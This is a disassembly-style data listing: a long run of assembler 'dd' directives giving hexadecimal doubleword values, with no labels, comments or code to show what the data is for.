		dd 0A08DCAD2h, 0FFCFC400h, 92EC192Ch, 221E3D42h, 0B1847780h
		dd 5E47A8EAh, 8BB2D207h, 16C00F24h, 501E97C3h, 1BC19C7Dh
		dd 0C9C4089Ch, 0BC042EC5h, 91E308Bh, 90481F10h,	5988ECA3h
		dd 0D174A01h, 5E187C40h, 4200928h, 0D01B99FAh, 60D4494h
		dd 4424F044h, 5A44235Dh, 4151488Ch, 794E642h, 2D0028AAh
		dd 97988AF8h, 3E0344A5h, 85292364h, 77BE4E5Dh, 0F3794323h
		dd 0D4889383h, 0AC00B2A6h, 0C624D717h, 0B3E89Dh, 2AD38934h
		dd 0ABF36983h, 71A25Ch,	3228C064h, 2CF5E005h, 77D924h
		dd 0D2EB0CC5h, 872CA9B7h, 0E700D93Ah, 0B6454A74h, 242F0079h
		dd 53779D82h, 0D600A44Fh, 0A76DA021h, 1033128h,	8A9F3AB5h
		dd 0E83029CCh, 1A001D8Dh, 0A01090B3h, 8FAD56h, 6E02AB05h
		dd 0CC378A2h, 689AD703h, 0E1DD9Bh, 0E876910h, 91F6AEF1h
		dd 497F503Fh, 2C260E6Ch, 2F36A782h, 0D0F4E7A3h,	35B998h
		dd 1D5D50C5h, 82FA7DDEh, 0A03748CFh, 17642CF3h,	0F94C0088h
		dd 0B85EC159h, 0DB003B03h, 678B8CE0h, 68020Bh, 6CFE7C17h
		dd 0AEB9D363h, 0A2004DB8h, 51869A53h, 907FE679h, 0EF3F000Ch
		dd 5B20C3F9h, 40065664h, 391BDC9Ch, 13B577B0h, 0BBFCBF76h
		dd 33B20Eh, 15380AD7h, 230E0958h, 4780B064h, 59C7E3E8h
		dd 24D67D01h, 0C043DB52h, 0E108BF8h, 9198F79h, 5A1576E0h
		dd 0D0EAD6Ah, 0E0819DD3h, 1AA397D0h, 30A4003Ch,	496D57C4h
		dd 5097C7D8h, 72AF00B3h, 0B13BAE20h, 5900D9C2h,	4873FE6Eh
		dd 856966h, 0B05C76F3h,	0D67E71F2h, 5F927200h, 16386DADh
		dd 0D2DCC0F7h, 0FE8CE30Ah, 0B597F00Fh, 0DA8A603Dh, 4B5B45h
		dd 0B14FED80h, 0DFE6EF7Ah, 928ECA00h, 1944DE8Dh, 22F054h
		dd 76F2E049h, 0C5D974BCh, 0E472832Eh, 14932400h, 6FB51Eh
		dd 15965FBFh, 0DE9A7AE1h, 0E7D89503h, 7576E975h, 0EFCD0040h
		dd 0AB18311Ch, 0D4906120h, 7A3D731Eh, 95119B40h, 0F3B8B4h
		dd 0DFDB3FBBh, 0AFEFF9DAh, 99C73Ch, 0F16CEB17h,	0C8F5Ch
		dd 0F72A3912h, 13CC1B31h, 93144600h, 55AFC203h,	6D77FAh
		dd 733358B3h, 0B2767B35h, 0ECF0D598h, 1660800h,	56FB1A8Bh
		dd 2099388Eh, 0CF24A700h, 48AEBC5Eh, 0E4C58807h, 0B820EE32h
		dd 0E24F28h, 0B60E5089h, 0F5ECB4DCh, 8EFB7A00h,	0C21F6715h
		dd 2401002Ah, 0F9CB4AF0h, 5E790F6Dh, 600AC724h,	0B629E600h
		dd 24805F18h, 158F5B2h,	0EF612EEDh, 82373016h, 6C0B637Fh
		dd 8E6D595Ah, 20B600F0h, 7336727Eh, 956601A4h, 0E73254Ch
		dd 0A82BE8D1h, 9C6948C0h, 0C50F5EFh, 378BE199h,	52006019h
		dd 0FA672228h, 211E9Eh,	0DA803032h, 0EFE7A689h,	7A291018h
		dd 7EA3A0h, 0AC551A7Ch,	0C61E2885h, 94BFCE24h, 71304F87h
		dd 0D8395B00h, 88EC3A01h, 727DC100h, 0EE345412h, 0B6016A7Dh
		dd 0C531F5C3h, 87E8011Fh, 0B06FC24h, 2E9871D1h,	0F4694780h
		dd 0CB00143Bh, 0FF60477Ah, 565843h, 1C63DE48h, 6DF853B9h
		dd 0FE23BF00h, 2AC09182h, 43E90013h, 0AB267F2Bh, 55E689F1h
		dd 0F64D6800h, 0CE1B5B23h, 3F98EA21h, 31006D99h, 62243D8Dh
		dd 4A0B09ACh, 3C7A5D7h,	98671CD5h, 9861FB0Bh, 27280988h
		dd 5C003ABFh, 60871252h, 55D9DA00h, 0B3B8FABDh,	290E003Bh
		dd 59450F44h, 84BA6535h, 87A5ED09h, 0D95EC6h, 0D09749A3h
		dd 4638E983h, 0F8892E6h, 0EEEAA100h, 114891Ah, 326935E1h
		dd 0F424E301h, 26090921h, 0B84173h, 804476F8h, 0D2CA0172h
		dd 29C53386h, 34AFF023h, 0E3A1A803h, 0D8D3950Dh, 249A02h
		dd 266B20B1h, 33DA18FCh, 120DF70Eh, 2B27207Ch, 638E3Eh
		dd 312E78E7h, 25FF38C3h, 0E5806D00h, 0F1329664h, 5EC000D7h
		dd 44286F5Fh, 0A3007B7Ah, 0DBD824A1h, 0C377E9h,	7086E8DAh
		dd 0E73FCA9Ah, 9BAA5000h, 4C4F3ADEh, 28BC0096h,	6BB4E80Eh
		dd 0B1355EBDh, 0A0028CCh, 784FE345h, 38A500C6h,	0B7BD39F7h
		dd 5C1DB44Ah, 0E34059E7h, 0B0D09B9Ah, 52D500FFh, 0A86DF01Ah
		dd 0E1000814h, 0A74689CAh, 7EA13D8h, 426145BAh,	47261038h
		dd 18001122h, 873DB094h, 1276CEFCh, 165B2CBh, 2655B49Ah
		dd 89683080h, 0A80B5904h, 0A1C033BCh, 3FE4D51Bh, 8C01756Ah
		dd 0DCF57945h, 55C720A3h, 0CB46400Bh, 8089F585h, 0CEB0D280h
		dd 64004FFBh, 951826C1h, 1E0C11CDh, 0C0660FA4h,	507C68C2h
		dd 0A0130DACh, 0A604F57Dh, 9280ABF0h, 924C74h, 710CFBB9h
		dd 2A056911h, 0EBF6E401h, 8196254Ah, 3BC973E8h,	0B07DFC64h
		dd 0F82B00A2h, 9FCEF7B9h, 0AC009D5Ah, 8F33B326h, 24B84DFh
		dd 0C74F1367h, 0B880C172h, 0BD46B066h, 2192FD03h, 1C83C63h
		dd 1CA77918h, 0D4086A13h, 16014737h, 284431E9h,	56D88709h
		dd 96C000BEh, 0F101BFF5h, 747B4D0Ch, 0F4DE6F09h, 900B80B3h
		dd 7FB92Ch, 44609BDh, 67E6EA5Fh, 99CCFD00h, 2AC1045h, 0C0941C8Fh
		dd 20C7C093h, 8AE0313Ah, 300D371h, 0BB4E6CDEh, 4827E866h
		dd 7730CFh, 0C7B7ED5Ch,	4065F810h, 5218DA60h, 989588ADh
		dd 0F71A1E8Ch, 7DB500EEh, 0FBE6FEDDh, 4ECBBA00h, 0A8A1365Fh
		dd 0E451015Eh, 594276DBh, 6B1080A9h, 0A3AD3DCBh, 950B0063h
		dd 0CE6869Dh, 0B73C69F4h, 8CF52699h, 0EAFE5407h, 1A6EECB0h
		dd 0FFB600E8h, 0B88D6384h, 0C500DA5Ch, 7CF1C62Bh, 69B4D4h
		dd 0D3088142h
		dd 0ADA2F8CDh, 0ECB2E128h, 60F2F40Fh, 3B3EF6Bh,	9872487Bh
		dd 30A85C56h, 0F958EDADh, 2498B5EEh, 0A7D5F350h, 398A1600h
		dd 0EFD29D01h, 272B1C8Ch, 332EC00Eh, 99E21E9Ah,	0D7192303h
		dd 0D79D61D1h, 3EB787E0h, 5D0600D6h, 0B0304C67h, 0B4003AFCh
		dd 0D087D49h, 71DE66h, 0DF97559Dh, 1BD6DDB8h, 38A47800h
		dd 0C32EE38Ah, 0E8250367h, 0DAB6E706h, 0BEC046BBh, 210FEF95h
		dd 0C32360A5h, 0F0A27C82h, 0B8E46Ah, 3A7BBCB7h,	69B0C7EFh
		dd 59A03100h, 72CD2C1Eh, 5EBE0008h, 1CCCC1CEh, 280022E5h
		dd 0A5334394h, 0C4FEBh,	0F348C972h, 3B2DA851h, 38BC539h
		dd 35BC239Ah, 442EF097h, 74280189h, 0E1F36BB2h,	32D5EC98h
		dd 0FF753B00h, 0BFD6FDB6h, 0EEFAA7h, 310E264h, 6760759h
		dd 288EA600h, 80A865DBh, 3A470194h, 0CD99F6CFh,	2458E8E5h
		dd 8041BF3Dh, 4A53872Eh, 7FDB71h, 0D12FF346h, 0B0F8F41Bh
		dd 731E1001h, 8A63EC6Ah, 43242880h, 0E1B215CAh,	0F7C73F00h
		dd 6EBA78F2h, 17207CD6h, 0AB2A95h, 2BDE821Ah, 773CA169h
		dd 50C28F8Eh, 7FE620EAh, 1039A5Ah, 0CA766253h, 0F0E57729h
		dd 3B00D50Bh, 0A236E964h, 72903556h, 0ABA3C71h,	0AED1C180h
		dd 0A15CC36Eh, 940F500h, 3227F296h, 29880037h, 4D1002C1h
		dd 0AF002214h, 345E569Ch, 441EEBh, 68DBBBCFh, 0CD818EA9h
		dd 0CC2AB628h, 6787C802h, 409FA8BCh, 403E323Ch,	0C4304455h
		dd 0FBD710E0h, 554009Ch, 0EBD09386h, 0E8FF178Ch, 0EA067670h
		dd 29E2A58Ah, 0CD1B0050h, 0C2EB7E64h, 0F30770CBh, 0F9420693h
		dd 7B52B5C1h, 806020h, 31278984h, 108B3E97h, 1E0162E8h
		dd 0E1908FD3h, 66C83B25h, 0E3A60041h, 0BAFD2F75h, 0A2F05463h
		dd 16709300h, 0D54A4C46h, 4CCE049h, 79D1104Fh, 0BDC6C165h
		dd 93218027h, 83ACCB41h, 6DAB0047h, 282D5244h, 5000FF95h
		dd 0EE3FB023h, 674E7Bh,	41534D4Ah, 56546D58h, 47B1D8EBh
		dd 6056B3Ch, 6827AD0h, 38700C0h, 791383D2h, 320312D5h
		dd 96B088B4h, 0FBD4D044h, 0F487009Bh, 0D2EF9AE7h, 851CA978h
		dd 3700D65Fh, 2E722A45h, 7DF728ACh, 0A1A614D0h,	5D80E8D9h
		dd 0F86FFB60h, 79C6C02h, 8FACFDB1h, 4A6DA1E9h, 9C20A5F0h
		dd 3F7700F7h, 0D01B2466h, 0B300E172h, 3BAA78F8h, 4DB9186h
		dd 0EC40463Dh, 0DDC0FEF0h, 224ACBh, 6054135Fh, 0C8612C36h
		dd 0C645BC17h, 5B861507h, 435D8810h, 2E6C0002h,	294AEF1Ah
		dd 1E07E0A1h, 977374C7h, 0C0E4FBE2h, 0DDCF1Ch, 0F9805A83h
		dd 0F88FACCAh, 408BFE1Fh, 0DD259C0Fh, 5C64A740h, 76DA1AFh
		dd 0E759D698h, 0A360EE35h, 0A6E62632h, 3DB5A700h, 0D3EF550Ch
		dd 0C89E0084h, 8C23097Fh, 13D2E1Fh, 25F78754h, 67C0DB3Eh
		dd 36AC55h, 229CC32Ah, 52C863F1h, 61718600h, 0B8CDF10h
		dd 0C7D4B019h, 90E1CC18h, 271474E5h, 3D0003E8h,	0B573E032h
		dd 0F77D2h, 0CCF412F5h,	0D344F12Dh, 858C080Eh, 0EF7646h
		dd 1C278DA7h, 92002D0Bh, 82786776h, 7C6B24DFh, 0DEDA0087h
		dd 0D359F3E3h, 533D2F9Dh, 2B3C0217h, 0C0A54D25h, 28B760D1h
		dd 0EDAA31h, 2ECDBCA6h,	97741506h, 58CEFB1Eh, 0A117E280h
		dd 7C51BA49h, 0EC663F91h, 0DC809000h, 0C50DDDA5h, 0A81B5000h
		dd 4F61F68Eh, 0C98F0083h, 8CB1E47Bh, 4501D9EFh,	5988DFB7h
		dd 0F4209474h, 91600B9h, 0BD71184Ah, 0B700291Eh, 6652DCC8h
		dd 4E1BF79h, 5115ED59h,	1670802Ah, 0EB18172Bh, 981024DDh
		dd 0C0FC1202h, 27AF0383h, 1800254Eh, 0D813FFD3h, 0AE57DBh
		dd 7741A684h, 7E8E31B8h, 8611A509h, 6A9C80BAh, 0F904C9h
		dd 88BD2C91h, 26023210h, 0BF457D00h, 18CD82C1h,	246B4D63h
		dd 0E64C2C02h, 0EC409506h, 0E2004E9Ah, 0C91D8E71h, 85CED3h
		dd 92363AC7h, 0F1F80E8h, 53D03107h, 5770FC8Dh, 0C8E41Eh
		dd 0E086FB9Bh, 6752F305h, 0E5754400h, 4E6ECC26h, 0E0B07DD6h
		dd 97C4077Ah, 60421ED4h, 36DE403Ah, 83077305h, 0A481CCA0h
		dd 2830C858h, 7147916h,	0ACA12D1Ah, 8EF7B07Eh, 0CA2CB3C3h
		dd 681CE4CFh, 0FFC07B9Ch, 0DFDC6A02h, 0D61A1B56h, 0D8B8212Fh
		dd 9EFB9A92h, 99803511h, 1E5CB1D3h, 8474002Ah, 5F9BB057h
		dd 0A81FE93Ah, 4980190Eh, 8672A7EDh, 4B6105BDh,	80D0FC3Fh
		dd 0ED22238h, 45CED11Ch, 62A3F4C0h, 83E01Bh, 6E3178C2h
		dd 4126E766h, 4340E900h, 63346412h, 9AFCF2h, 0F5241F81h
		dd 5584A6ABh, 89740F00h, 4AB9AABFh, 8EDE005Dh, 0C5DF1F8Dh
		dd 0DC0B33B8h, 8030BE63h, 0C683AFB2h, 14B700ABh, 662F1D95h
		dd 9D7B2926h, 1B262AF2h, 0C4007035h, 0EA0E985Dh, 0E23A051Dh
		dd 88C85Ah, 9994EC8h, 0E007C310h, 0EC735F65h, 0FF7D5940h
		dd 7F0A0A8Fh, 194BBF5h,	8813A24Bh, 7CC440C0h, 0A94B02DBh
		dd 0E9C59F00h, 19F3822h, 840C28DDh, 80BA89FFh, 0A61C5738h
		dd 51A794Ah, 4CF77CA0h,	659C0917h, 0F33B2820h, 3E00D814h
		dd 275C1387h, 0F5C692h,	22AC7F93h, 0B6880F84h, 0F0D94F01h
		dd 64FD1ED3h, 3869B840h, 39AD7E08h, 77165327h, 4B7200F1h
		dd 0A9E0F2DAh, 910D4707h, 805BA181h, 7725A78Ch,	96CD07D0h
		dd 0F09FAFD9h, 0F0B06960h, 0A7F10D00h, 54B29AA3h, 7F6D0045h
		dd 0DF66B862h, 2D007150h, 4167A426h, 65604ECh, 0A048AC07h
		dd 3F00D1F3h, 0CB5A5C0Dh, 66BC6Fh, 861C31A4h, 0BA7C3E8Bh
		dd 6E8E7200h, 0BB368710h, 38BD7AFBh, 9AD09E19h,	7B7D1CC8h
		dd 0D40A40D9h, 4E8EC9A5h, 3C125Ch, 639702D2h, 22EB93h
		dd 1D550FF0h, 787DE410h, 0F30DB91Dh, 0DF9F64C0h, 795F7A2Ah
		dd 346000CBh, 0CA1129A7h, 7D00FAB2h, 62440EFh, 6C3596h
		dd 605A0E37h, 9A03F47h,	0EC4ABB00h, 80BB833h, 209C009Ah
		dd 6A84B0BFh, 8C003FB5h, 0C4AD905Bh, 0A067ACh, 33CE226Bh
		dd 602A4894h, 0F01F501h, 64C81573h, 0EA9D108Eh,	8CAA1C40h
		dd 930054C2h, 0AC583AA6h, 4C0B6C29h, 890F5CDAh,	7CA0B67Dh
		dd 0DE9A5321h, 377AD200h, 0A484C71h, 474000ACh,	0AF745A49h
		dd 5D4D5F7Bh, 0DE0B00ACh, 0D314558Dh, 0F456078Ch, 90983867h
		dd 3475B7E2h, 31038CA0h, 0DECFC12h, 8176670Bh, 0A661F71Bh
		dd 162C220h, 6B8D66A5h,	200455FCh, 110041ABh, 0A5AA873h
		dd 17FD9A87h, 32F3712h,	25A12A5Ch, 33BE7790h, 1E60E91Bh
		dd 0A88CA068h, 2B89452h, 142BA995h, 0D0971068h,	91764500h
		dd 0A2530B59h, 0EAEF0751h, 800AC1C6h, 0D4492687h, 6A20D860h
		dd 0C7291Ah, 0EF2DEDAAh, 53C87A73h, 2879D501h, 99AE5188h
		dd 0B394180h, 4F976854h, 92DFF100h, 94CDF6D6h, 59D718F2h
		dd 0EDD0282Ch, 0FC54AD24h, 0A986321Dh, 0C06984C9h, 0DBF75D20h
		dd 813B7F41h, 1D6F819Dh, 33A0231Fh, 0EB509880h,	0B10FCBE6h
		dd 93BC3903h, 899C7CECh, 0A4D1F361h, 0F90920h, 0E5AE868Eh
		dd 0BB2974FAh, 0BE7C3600h, 44EABD5Dh, 0CAA200B4h, 0AC7E5EECh
		dd 273762ADh, 0BB608111h, 0CA2DD739h, 40042C11h, 0E9AE6726h
		dd 780009F8h, 4BEDB75Eh, 0CD9437h, 0AD73976Ah, 8D577E31h
		dd 35DDA901h, 5AC99A0Eh, 1EAC3730h, 804456BAh, 0EC8DB415h
		dd 0AD001267h, 0F1BF8128h, 0B83AE669h, 7F7600D9h, 65664A9Ah
		dd 6E015E6Fh, 89AF4F15h, 0EEC887D6h, 0BBFA62h, 50540DABh
		dd 5D6308A0h, 0A2FDAA00h, 0D05EA1F8h, 76070F09h, 5360E649h
		dd 6F362BFBh, 95BCC31Eh, 809FECC9h, 0F073B2C8h,	0D45E1E3Ah
		dd 143C802Bh, 685AFC25h
		dd 2474E2F0h, 138B2D00h, 0E9E71271h, 0F618007Bh, 0E6567AEAh
		dd 0BA009EB8h, 685FF91Dh, 0EC411038h, 3B7C7Ch, 11FB6A63h
		dd 0D44CF398h, 0C5EDF600h, 49CC96E4h, 308700ADh, 0C34E591h
		dd 6300E118h, 0A82761FFh, 712853CDh, 41CE0009h,	847B5A3Dh
		dd 0BB0032E5h, 0D13987E9h, 3BD99E03h, 0F505223Ah, 4A0A06CFh
		dd 0A0BDDCh, 0F1EBCDA3h, 2F445213h, 0C5B00BFh, 0A25A4BDh
		dd 0CE00C18Dh, 8816D9D3h, 0F798EF8h, 0F01853FFh, 38402880h
		dd 3D004EE2h, 19D3E1ADh, 12532529h, 218CD903h, 0C033AC0Ch
		dd 0F800FF36h, 98096A37h, 0DAE39h, 2AC3E9E0h, 0B8DFED63h
		dd 0E3271E01h, 8904F6D8h, 0C4EBC8h, 1D32A3B5h, 72AF8308h
		dd 0A6D43000h, 6739CB97h, 76F9004Ah, 9C232933h,	4878083Eh
		dd 38DC60C0h, 39F0AB1Eh, 0F800E283h, 7B46E6E3h,	0B076885h
		dd 3686423Eh, 0D1F206E0h, 0B99D00BBh, 4B9F75E4h, 32007C41h
		dd 0F4888234h, 772AD36h, 0CDCC4F91h, 442A90E0h,	0D4A1ACE6h
		dd 0AACBF443h, 0A8F484F6h, 0EA809E03h, 0C7A1ADA0h, 0F3552440h
		dd 0A970001Eh, 44F96DD4h, 9400F8B1h, 0BE460A7Eh, 7BBF5Eh
		dd 0ADC46272h, 0F65B790h, 0D8C5DE2Ah, 9C7F8A00h, 96677C4Ch
		dd 89E44Dh, 0E206D44Bh,	7723B753h, 0BCA8D60Fh, 0E0D92E69h
		dd 75E329F9h, 38DF00B4h, 7F55E40h, 420092FFh, 0EA4F9A65h
		dd 0EEF019h, 0B96D6B4h,	1354B7Dh, 0EFB97109h, 6D8E001Dh
		dd 3D420644h, 0ECC8433Dh, 0AB0E2C39h, 0A40E6EE8h, 4DC60880h
		dd 0D80376DAh, 0ED77C74Bh, 0DC86E8E2h, 70F7010Eh, 0B568E601h
		dd 0E809D1D9h, 6404E302h, 0AD40B4A1h, 0D80BC87h, 9683387h
		dd 9BB64D7Eh, 53A86007h, 88B81E9Ch, 0B801373Fh,	4D7450A0h
		dd 2820346Ah, 0AFD512F7h, 0A25C0032h, 17547508h, 0DE244892h
		dd 108340D0h, 900DFFA5h, 90E0158h, 6A958660h, 9D1E7820h
		dd 9800A8BEh, 48D53780h, 67E23Fh, 28428A2Ah, 617DFFE7h
		dd 0B6FA8F00h, 70DFE402h, 0BE8124D7h, 51248764h, 9A85008Eh
		dd 0EC0030D2h, 944DE6BDh, 1407AE5h, 24C53D8Ch, 0F4817B62h
		dd 5A03E7AEh, 4EF880BAh, 47259875h, 9760C30h, 0EC18BB49h
		dd 8A5E1700h, 0D38D3E58h, 615133AEh, 5BF0C540h,	0FA005C8Ch
		dd 0C47F7933h, 57BDE1h,	703DB8C3h, 0D7F1883Eh, 0BFA6DF00h
		dd 94FE6E60h, 0FF690073h, 35BC1249h, 0F31E405Dh, 0E680C029h
		dd 3786B9EBh, 27560065h, 69D576AEh, 0F902BE11h,	708910FAh
		dd 9844402Fh, 0A2910050h, 81DE3C31h, 1700BB07h,	83898465h
		dd 2DE8BCh, 1121FFB1h, 6437B57Bh, 0E3A82000h, 2235A63Ah
		dd 0D3D000E7h, 0B770CECAh, 0F400ADF7h, 2E826CD6h, 3AFC84h
		dd 6604D1A2h, 0DA0E1753h, 487A39h, 35980760h, 0B03F436Dh
		dd 0C06B03E9h, 954FD6FDh, 0C518EA02h, 4966C1B5h, 99E8C754h
		dd 0FF9009Bh, 50566144h, 4214F2C9h, 0D0EEDBh, 0D99BAF65h
		dd 80836Dh, 59DEFBB1h, 0C8E27C32h, 7B293Dh, 9AA119E3h
		dd 0D58535h, 2EDAFE0Eh,	50758B63h, 2AEACD00h, 4276B9B7h
		dd 317F690h, 6ABD4D9Dh,	4AE05C48h, 0F500DDA0h, 19206C98h
		dd 7FD347DCh, 0B87D00DEh, 0BC507D9h, 8100CF21h,	0AF6A784Ch
		dd 0ADA903h, 3693B01Ah,	0B6E9676Bh, 0D6EF5200h,	14E19781h
		dd 359F0D8h, 46238D62h,	5D81C64Eh, 0E87AE53Ch, 0D200830Dh
		dd 0F769A2E2h, 17AC12h,	0DBABEF53h, 0D8DAE662h,	1F3E2A0Fh
		dd 0E31C8E7Ch, 2B6C648h, 4A30E5C2h, 0D180A7DDh,	0F373AA29h
		dd 0AF5EC800h, 1DFF2EB1h, 39F698h, 9BCFC17Bh, 0A34B19B2h
		dd 6F4A7100h, 385D8A0Ah, 836000F4h, 486CBB3Ch, 0C37F3FAAh
		dd 30B21E1Eh, 9F3F9CDEh, 0EF8047D4h, 0F625CA5Eh, 0ACCB042Eh
		dd 0C24C6D0Ah, 4BE28A44h, 0C6A78200h, 2B004D62h, 2018512Fh
		dd 999D1Dh, 0B2A69106h,	1FEB108Ah, 0F98D4E00h, 0D1B08489h
		dd 0D62B00C2h, 6A42A749h, 601139Dh, 0DBCD6F96h,	0BBC4DF3Ch
		dd 60080085h, 7A7F2103h, 431C1B97h, 1E4F7781h, 426503E6h
		dd 0A19990DAh, 0C241C0B6h, 7A2FBB76h, 18BD6100h, 803C87A3h
		dd 0DEB0073h, 0C0D12CF0h, 80B58307h, 7B750B54h,	3B223D24h
		dd 8800443Bh, 6AE52787h, 3000A06Bh, 0CC6F92B1h,	0E18D78h
		dd 7A7B09DBh, 6B1C011Dh, 821A340Dh, 0AE8E0C7h, 96D03F2Ch
		dd 589874h, 459BA885h, 0A3C78DC4h, 24003890h, 329023BEh
		dd 8FE9FFh, 8B054031h, 151292ADh, 0C89430Fh, 7A4C6013h
		dd 15B3F1Fh, 62561C7Bh,	0D5546624h, 57933020h, 0A15CE8FEh
		dd 0C9F61D24h, 0BF8850B8h, 0C4B25C18h, 1074871h, 0C7CC76CAh
		dd 31D41E40h, 6442F011h, 151DEA0Dh, 0ACE0288Ah,	868B00E9h
		dd 0C403FEB0h, 74053671h, 0D9F0E694h, 0F5EA80FEh, 2F7BA3C9h
		dd 8361C06Fh, 0B18268DEh, 49F8DC92h, 116A6006h,	0AA8FFB64h
		dd 80D9783Fh, 2CF98A1Eh, 548DE995h, 7BC42849h, 0E1D900D1h
		dd 503FF2ABh, 443D0456h, 1B338113h, 741FD6D5h, 32B4570h
		dd 0AB8DDAC1h, 28FB4092h, 0E2C27F88h, 0EB8E3E09h, 0C34E00D9h
		dd 1E4FB14Bh, 0C0249E65h, 0DB6D481Dh, 0D3B0428Ch, 27AF5F00h
		dd 989DACB6h, 0E8CBE402h, 537D00A3h, 74E90AC9h,	1700D961h
		dd 0ED7C7E47h, 0F358F6h, 3268284Fh, 739CAF24h, 88514200h
		dd 252DF9EAh, 0D0D968C7h, 0F004238Ch, 0DC60EE22h, 0B48FE810h
		dd 0CB090EE0h, 0FE20457Ah, 5FE6C499h, 77CD0E0h,	67F5C007h
		dd 2CC10405h, 9F474649h, 0E019EEC0h, 2C9E502Fh,	0D1203F8Eh
		dd 7250E1B1h, 18A0086Dh, 29DC78F2h, 9D75262Ch, 0F267BCA1h
		dd 0F6ED80DFh, 0F5EAA576h, 6ACAAECh, 48BAC931h,	0AD5461E3h
		dd 0DE403460h, 9C9D188Eh, 3F9F1989h, 5A8711Fh, 93F6C642h
		dd 7D7098AAh, 7B9480F5h, 34AD63Ah, 0A44805E2h, 0B5E810F0h
		dd 0AE61F04h, 0C98047DEh, 0F364B072h, 78C34479h, 0F8ABE315h
		dd 0ED48804Ch, 7C25D5EFh, 453E1874h, 9EFCA973h,	31C79C22h
		dd 0B6F8FA8Eh, 42A89EC8h, 38FD3B8Ch, 0E5C03071h, 1AA39FC1h
		dd 39C89E31h, 8EE84AE9h, 0C5C4841h, 8246677h, 840021CFh
		dd 0F6C9F02h, 3CC4732h,	0A864FF97h, 689E7F29h, 364CBD34h
		dd 4E2BC07h, 182083A3h,	6819D210h, 2972B0E4h, 201BC8A3h
		dd 398DBFBh, 0C8DCA3C9h, 5040D579h, 4D60EDE4h, 3A6F340h
		dd 146F12ACh, 7C1C0178h, 40FD7155h, 0EEDD89B8h,	0F4615612h
		dd 9A9C3040h, 0F347B5h,	6635E223h, 2B3DA7E5h, 8C00D37Ah
		dd 0BFAD9AD7h, 511FF9h,	390171B4h, 4D926948h, 80167938h
		dd 8C88D6CBh, 0C140ECh,	36552077h, 0B8EE5A29h, 84C76300h
		dd 4BED7BFEh, 1E2B00D5h, 2E3A44F4h, 0C500BF9Fh,	214362EEh
		dd 0C6D282h, 766E0993h,	925229B3h, 0B6475600h, 0D670CC41h
		dd 258C07D7h, 0E0C726F2h, 0E276F4DEh, 8E69BC1Fh, 0F70D6680h
		dd 3ECF649Bh, 0C507B1DDh, 0D0EF372Dh, 28074F58h, 248DA500h
		dd 25DDF365h, 64260018h, 0EE0F8BD6h, 91005FA7h,	0A14045A9h
		dd 68174Fh, 0C0BD5D29h,	54FB1423h, 9D09B303h, 0B8F524h
		dd 0DE078E20h, 57F9D4B0h, 0EE3B7F00h, 0A4A152CCh, 0C76E18DAh
		dd 7582841h, 0AFCAA300h, 0CDB5F4A8h, 15578CCh, 41BAD31Ch
		dd 0FC73905Dh, 470FE6B3h, 0A37EC4FFh, 4D215Fh, 0FB5BD841h
		dd 0E5E1ABB9h, 0DDECCF07h, 0F500B6Eh, 7910A633h, 0DA731816h
		dd 0B2CE807Fh, 9C254B07h, 38D09A66h, 0DFD0EDh, 0E137CB7Eh
		dd 8CC16AE6h, 4F9C5B00h, 0B919C810h, 79D23AA9h,	0DDA45900h
		dd 0B263F36Fh, 0C31B3Fh
		dd 5A246836h, 0C496E7h,	9163E90h, 288A947h, 91ABDD18h
		dd 0EF2530h, 6C065CA4h,	0A6AEA38Ch, 10F118C3h, 91500012h
		dd 780A7F7Eh, 600F5D37h, 806AAE86h, 6C844311h, 5C243C92h
		dd 4E01CC40h, 3F86789h,	8BD03412h, 6BA018FAh, 64DF7183h
		dd 26D1A900h, 9D1F16A5h, 5C211C7Dh, 8DEEC058h, 612C1207h
		dd 780074FCh, 0EAA4E5E8h, 107DA2h, 454CF3FEh, 15B28BB3h
		dd 0C36B8D00h, 7C239616h, 630FF206h, 172EC907h,	0EF561806h
		dd 0E065D8h, 0E0276AC9h, 93A1F6D2h, 0B9698433h,	2535F8BDh
		dd 88080E67h, 0FF80E123h, 7AFBE7C8h, 241F287Ch,	0DA033E18h
		dd 390FC95h, 435F1618h,	0C0E53D87h, 0FDE8A1C9h,	0B1CD2217h
		dd 3A2100Fh, 90835737h,	0E7DC6DBh, 764EE275h, 2023BF86h
		dd 1ABD9600h, 370E0B47h, 32C906C3h, 4057EA2Ah, 293CFA01h
		dd 826B5F20h, 691968B6h, 2B02D146h, 66DB3B84h, 21B90331h
		dd 0AB1AD100h, 0AF455BE5h, 9422A900h, 84DDDC73h, 0A3D0C492h
		dd 5B6BC3E8h, 0C20068A6h, 2A2B1140h, 31103B9Ch,	56083421h
		dd 0E12080E9h, 0BF6E1154h, 1B5D0018h, 6BFA1CB3h, 81EEEF28h
		dd 0FDDCB0C7h, 0A4427905h, 0C0BE50Fh, 95F02FC0h, 8102460h
		dd 482F4h, 0CDD180E6h, 8D41E96Dh, 0F6DC140Ch, 7B2E12F5h
		dd 0C7030059h, 8EC1BAE3h, 0EAEC90A4h, 0F2DAB90Fh, 4E2AC070h
		dd 6B92FDh, 8B69317Fh, 6250C130h, 0BB057300h, 0D6B988FAh
		dd 0F2A726Eh, 17DDB82h,	2EF1AE00h, 5360D773h, 8D0F0232h
		dd 764FF06Dh, 0A8CAA39Eh, 5D3E68h, 2DF4C84Dh, 0E13A48B0h
		dd 78FA7600h, 0E5ED280Eh, 0B7EA0079h, 0BCEBF11h, 777B8FCh
		dd 2056E600h, 83B22119h, 411D10Eh, 10F7DDA0h, 748810C3h
		dd 3124C0B1h, 20C70053h, 2C76EF83h, 0A9F8D484h,	1594901h
		dd 0DE67D890h, 0C5DF2888h, 85F26184h, 0A5426D08h, 0C4FB2275h
		dd 21135D23h, 6B108151h, 0C3C478Ah, 6551F55Dh, 66B32284h
		dd 44296360h, 6C1B55h, 511222CFh, 7CE1E4A2h, 6DDFB500h
		dd 0FAB2B63Fh, 0B9E90385h, 645F0F68h, 30342EF0h, 3B397AFAh
		dd 46810387h, 98289AB6h, 1849C15h, 0A69EC2B0h, 0C499834Ah
		dd 74002E38h, 60C67CB9h, 3D189h, 0A7B096CAh, 8A7F4748h
		dd 0EE791700h, 0C7F7AF34h, 0B70A037Bh, 0B43DE2CCh, 40279DD1h
		dd 5705B1B8h, 0F5808C03h, 987ED6D4h, 0CEE30Dh, 0CD2CF7AEh
		dd 0D0694614h, 0BF0010DCh, 1E22F465h, 0CEB40F3Eh, 32822C9Eh
		dd 0E4A1BD25h, 60A3A14Fh, 1DF85463h, 518CE503h,	0C88BF4BBh
		dd 983A36h, 4347406h, 0CF8B79Dh, 32F5D30Fh, 4B6DA018h
		dd 0FAF3BE57h, 0BA65078Eh, 13B616F4h, 0DCC092BDh, 0C200B5E4h
